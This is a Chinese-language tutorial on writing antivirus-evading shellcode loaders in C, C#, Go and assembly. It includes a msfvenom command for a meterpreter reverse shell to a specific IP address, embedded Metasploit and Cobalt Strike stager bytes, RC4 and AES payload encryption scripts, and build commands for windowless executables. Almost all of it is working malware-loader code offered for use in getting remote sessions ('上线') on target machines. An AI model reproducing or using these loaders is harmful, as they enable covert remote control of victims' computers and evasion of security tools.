shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
将加密后的payload.c写入buf数组里
使用vs2019生成解决方案即可
C#加载ShellCode
使用msf生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.55.35.16 LPORT=6688 -e x86/shikata_ga_nai -i 15 -f csharp
使用下面的加载代码
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’s compiled code
// generated with metasploit
byte[] shellcode = new byte[] { 0xd9,0xf7,0xb8,0xed,0x74,0x37,0x77,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1,
0xb8,0x83,0xef,0xfc,0x31,0x47,0x13,0x03,0xaa,0x67,0xd5,0x82,0x8e,0x9f,0x63,
0xd0,0xe6,0x42,0x57,0xf3,0x82,0x58,0xac,0x59,0x41,0x68,0xfd,0xd3,0xa4,0x3f,
0xed,0x10,0x93,0xac,0x92,0xd2,0x08,0x4b,0xdc,0x0e,0xe7,0xee,0x1a,0x69,0xee,
0x9a,0xa7,0xb7,0x4b,0x95,0xe1,0xf9,0x85,0x69,0x35,0x76,0x8e,0xcd,0x90,0x5a,
0xf2,0xb6,0xfd,0x42,0xa7,0xf3,0x63,0x2a,0x06,0x02,0xd9,0x93,0x4d,0x38,0x87,
0x53,0x7e,0x77,0xd7,0x42,0x8c,0x1e,0x09,0x41,0xb5,0x63,0x9c,0xb4,0xc8,0x84,
0x78,0x51,0x78,0xf9,0xdc,0x72,0x9e,0x46,0x3f,0xfe,0x94,0xd6,0x04,0x2f,0x96,
0x16,0xe7,0x02,0x09,0x33,0x5c,0xe9,0x27,0x10,0x76,0x54,0xa0,0xe5,0x32,0x54,
0xfd,0x4a,0x10,0x37,0x12,0xbb,0x28,0xd6,0xe6,0xd4,0x17,0x28,0xd4,0xf0,0xc6,
0x5c,0x00,0x1c,0x54,0xec,0x67,0xa3,0xa2,0xcc,0xcf,0x4e,0x47,0x14,0xc6,0x1c,
0x29,0x34,0x33,0x97,0x9a,0x8f,0x99,0x4a,0xa8,0x0e,0x0f,0x25,0x72,0xbd,0x3c,
0x22,0xd4,0x52,0x5a,0x51,0x6c,0xab,0xdd,0x7f,0x7e,0x20,0x2f,0x43,0x21,0x9f,
0x60,0x51,0x00,0xc9,0x1c,0x88,0x36,0x12,0xb6,0xbf,0x6b,0x5d,0xbc,0x04,0xbc,
0x19,0x7b,0xdf,0x16,0x27,0xec,0x60,0x4c,0x40,0xa2,0x6e,0xd3,0x72,0x1e,0xc2,
0x50,0x84,0x53,0x7a,0x44,0xa2,0x18,0x2a,0xb8,0xb5,0x59,0x70,0xb3,0x7f,0x36,
0xb1,0xe1,0x03,0xfd,0x86,0x1d,0x84,0x12,0x29,0x64,0x50,0x95,0xbc,0xa6,0x66,
0x22,0x69,0x23,0x3e,0xc8,0x12,0x6b,0xa0,0x32,0xe1,0x4c,0xf3,0xb2,0x80,0x4b,
0x55,0x72,0x91,0x23,0x8d,0x8d,0x08,0x62,0x22,0x06,0x10,0x89,0x99,0xec,0xca,
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
}
将生成的shellcode替换new byte[]数组,用vs创建一个c#项目打开生成解决方案即可
文件混淆
文件混淆就是将shellcode进行一些加解密操作,从而绕过危险特征
首先使用加密脚本
替换成MSF生成的shellcodeusing System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_Encrypt_Maker
{
class Program
{
// 加密密钥,可以更改,加解密源码中保持KEY一致就行
static byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
static byte[] payload = { 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x50,0x8b,0x48,0x18,0x01,0xd3,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
}; // 替换成MSF生成的shellcode
private static class Encryption_Class
{
public static string Encrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
}
public static byte[] Encrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
}
static void Main(string[] args)
{
byte[] result = Encryption_Class.Encrypt(KEY, payload);
int b = 0;
for (int i = 0; i < result.Length; i++)
{
b++;
if (i == result.Length + 1)
{ Console.Write(result[i].ToString()); }
if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
}
}
}
}
将payload替换成MSF生成的shellcode,key不用改
点击调试-》开始执行(不调试)
这时会弹窗生成加密后的shellcode
上线的时候使用解密脚本
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace NativePayload_Reverse_tcp
{
public class Program
{
public static void Main()
{
Shellcode.Exec();
}
}
class Shellcode
{
public static void Exec()
{
string Payload_Encrypted;
Payload_Encrypted = "90,120,193,236,149,193,49,186,252,3,183,117,219,91,173,111,105,184,102,197,91,77,247,3,107,63,6,11,199,160,245,241,139,238,221,212,149,169,230,201,140,146,82,43,239,117,114,98,246,45,235,188,170,1,141,173,28,1,234,2,226,183,153,166,198,177,236,184,55,178,109,174,146,29,204,66,249,72,228,202,231,108,154,162,203,232,61,14,53,100,43,249,134,27,92,34,72,217,5,87,0,198,37,73,123,226,157,57,141,171,157,218,148,11,160,197,37,191,76,205,17,247,61,40,172,233,4,6,178,132,148,168,240,18,231,142,74,247,160,21,69,39,120,162,49,235,124,72,79,144,159,236,213,117,63,175,135,29,35,169,201,86,223,152,207,192,133,69,52,137,55,67,182,135,22,98,80,248,79,118,80,245,131,60,117,20,206,46,106,17,232,111,65,28,246,145,181,77,100,174,197,3,252,49,117,146,158,174,176,17,57,105,6,97,125,132,121,153,255,3,174,27,4,42,133,103,236,29,254,76,74,117,223,116,151,65,126,141,8,255,7,205,29,164,212,182,1,148,84,241,72,22,222,145,95,150,33,122,106,105,39,22,101,28,69,133,135,181,147,70,38,38,35,59,170,179,201,10,226,126,157,215,230,30,228,209,86,157,209,115,223,143,79,78,195,66,95,78,191,52,59,182,173,245,255,240,23,56,254,56,202,77,255,69,221,165,31,16,18,39,74,214,216,200,201,135,126,171,232,178,214,113,77,15,249,33,190,210,178,208,2,199,73,5,206,94,161,232,188,233,214,5,136,241";
string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
{
byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
_X_to_Bytes[i] = current;
}
// 解密密钥,可以更改,加解密源码中保持KEY一致就行
byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
//byte[] KEY = { 0x33, 0x11, 0x33, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
// 加载shellcode
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static byte[] Decrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
将Payload_Encrypted替换为上面生成的加密数据,生成解决方案即可上线
Golang加载ShellCode
使用go脚本
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xb8, 0x22, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x51, 0x70, 0x38, 0x00, 0x55, 0x1d, 0xe1, 0x41, 0xaf, 0xe8, 0x9e, 0xd4, 0x95, 0x56, 0xd5, 0x42, 0x8f, 0xba, 0x24, 0x52, 0x63, 0xb5, 0x52, 0x13, 0xf9, 0x8e, 0x7f, 0xda, 0x74, 0x21, 0xbc, 0xa9, 0xc0, 0x13, 0xcf, 0x89, 0x39, 0x8a, 0x05, 0x0d, 0x4d, 0x08, 0x21, 0xf8, 0xb9, 0xae, 0xb2, 0x4b, 0xbf, 0xa0, 0x0d, 0x75, 0x2c, 0x69, 0xd4, 0x71, 0x12, 0x06, 0x41, 0x26, 0xac, 0xf8, 0x19, 0xa2, 0xf1, 0xf2, 0x3d, 0x60, 0x0c, 0xa1, 0x6f, 0x16, 0x78, 0x27, 0xe1, 0x5f, 0x88, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0x4a, 0x74, 0xac, 0x77, 0xbf, 0xbd, 0x1b, 0xa8, 0xef, 0x7f, 0x85, 0xed, 0xb3, 0x0c, 0x30, 0xd3, 0x5f, 0x14, 0xfc, 0xc7, 0x52, 0x4a, 0x32, 0x0b, 0xca, 0x0a, 0x94, 0x75, 0xc0, 0x4a, 0x16, 0x77, 0x3c, 0x0f, 0x59, 0x29, 0x9b, 0x9a, 0x6b, 0x9c, 0x4a, 0xfc, 0x4a, 0x8f, 0xde, 0xf6, 0x6b, 0x4c, 0xd5, 0xa4, 0xab, 0xa5, 0xc4, 0x47, 0xb6, 0x4c, 0x4a, 0x3e, 0x98, 0x70, 0xc3, 0x23, 0x3b, 0xd8, 0x46, 0x4d, 0x62, 0x10, 0x47, 0xc4, 0xf9, 0x7c, 0x45, 0xd0, 0x5b, 0xc2, 0x63, 0xfc, 0xf9, 0x40, 0x7e, 0x67, 0xa5, 0x65, 0x8d, 0x58, 0x71, 0xe4, 0xdc, 0xab, 0x10, 0x94, 0xa1, 0xf7, 0x56, 0x40, 0x51, 0x27, 0x1e, 0x7e, 0xc7, 0x67, 0x44, 0x08, 0x84, 0x5f, 0xd6, 0xdf, 0x9b, 0x34, 0x4f, 0x88, 0x46, 0xcd, 0x01, 0xf3, 0x36, 0xe3, 0xb2, 0x74, 0x36, 0x73, 0x0d, 0x88, 0x44, 0x41, 0x6e, 0x06, 0x64, 0x78, 0xe2, 0xaa, 0x3e, 0xac, 0x43, 0x45, 0xe8, 0x17, 0x91, 0x6d, 0xd8, 0xe4, 0x2e, 0x4e, 0x8a, 0x4a, 0x41, 0x3d, 0x56, 0xf2, 0xfa, 0x52, 0x8e, 0x2f, 0xa3, 0x1f, 0x29, 0x48, 0x16, 0x10, 0xbe, 0x82, 0x7c, 0xdd, 0x55, 0xbf, 0xe2, 0xd6, 0x6b, 0x2c, 0x49, 0x3c, 0x5c, 0xe2, 0x71, 0x72, 0x5f, 0x06, 0x06, 0xb0, 0xe9, 0x5d, 0x91, 0x36, 0xe5, 0x06, 0x5d, 0xa2, 0x10, 0x57, 0x55, 0x02, 0x4e, 0xa9, 0x26, 0x8d, 0x15, 0x05, 0xc3, 0x5c, 0x5e, 0xdc, 0x6e, 0xc2, 0x31, 0x57, 0x25, 0xdb, 0xc5, 0x83, 0x67, 0xc3, 0xa3, 0xd5, 0x02, 0x28, 0x54, 0xfe, 0xe5, 0x09, 0x9a, 0xf9, 0x8c, 0x71, 0xb3, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x34, 0x37, 0x2e, 0x39, 0x34, 0x2e, 0x32, 0x33, 0x36, 0x2e, 0x31, 0x31, 0x37, 0x00, 0x00, 0x01, 0x86, 0xa0,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
将cs生成的shellcode放到记事本中将\替换为0,
然后替换后的代码放置shellcode_buf数组中
使用
-运行1.go脚本
go run 1.go
-编译1.go脚本
go build 1.go
-没有弹窗的exe命令编译:
go build -ldflags="-H windowsgui -w -s" 1.go
编译成exe进行上线
分离式加载器
加载器分里其实就是将shellcode危险代码放在参数中去执行
首先cs先生成x64位的payload.c
然后使用脚本3.go
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"math/rand"
"os"
"strings"
"time"
)
//随机生成key,后面用来解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}
//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
//主函数入口,对字符进行了处理
func main() {
argsWithProg := os.Args
if len(argsWithProg) < 2 {
fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
return
}
confFile := os.Args[1]
str2 := strings.Replace(confFile, "\\x", "", -1)
data, _ := hex.DecodeString(str2)
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(data, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}
这个脚本会将shellcode进行aes编码,然后会生成一个key和加密后的代码
在Visual Studio Code中打开
运行代码,将生成的payload.c放置参数中
go run 3.go payload.c
运行后会生成key和加密后的code
然后再使用3.1go脚本
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)
//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
//shellcode执行函数
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}
//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}
将key和加密后的code分别放在参数中运行
运行即可上线
编译汇编代码
参考链接:https://forum.butian.net/share/1536
先下载一个asm的执行器:masm32 http://www.masm32.com/
代码:
func5_param应该; win.asm
.386
.MODEL flat
.STACK
.DATA
Point0 db 4 dup(0) ;GetProcAddress
Point1 db 4 dup(0) ;VirtualAlloc
Point2 db 4 dup(0) ;
Point3 db 4 dup(0) ;
Point4 db 4 dup(0) ;InternetOpenA
Point5 db 4 dup(0) ;InternetConnectA
Point6 db 4 dup(0) ;HttpOpenRequestA
Point7 db 4 dup(0) ;HttpSendRequestA
Point8 db 4 dup(0) ;InternetReadFile
Point0_dll db 4 dup(0) ;kernel32.dll
Point1_dll db 4 dup(0) ;wininet.dll
Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h ;wininet.dll
func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h ;VirtualAlloc
func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h ;LoadLibraryA
func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h ;InternetOpenA
func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile
func4_param db "aa"
func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00
;上面都是一些函数名,dll名,参数啥的,存在数据段
.CODE
ASSUME FS:NOTHING ;指定FS,不然用FS+0x30找PEB会找不到
_START:
call Getkernel32DLL ;找kerner32.dll的地址
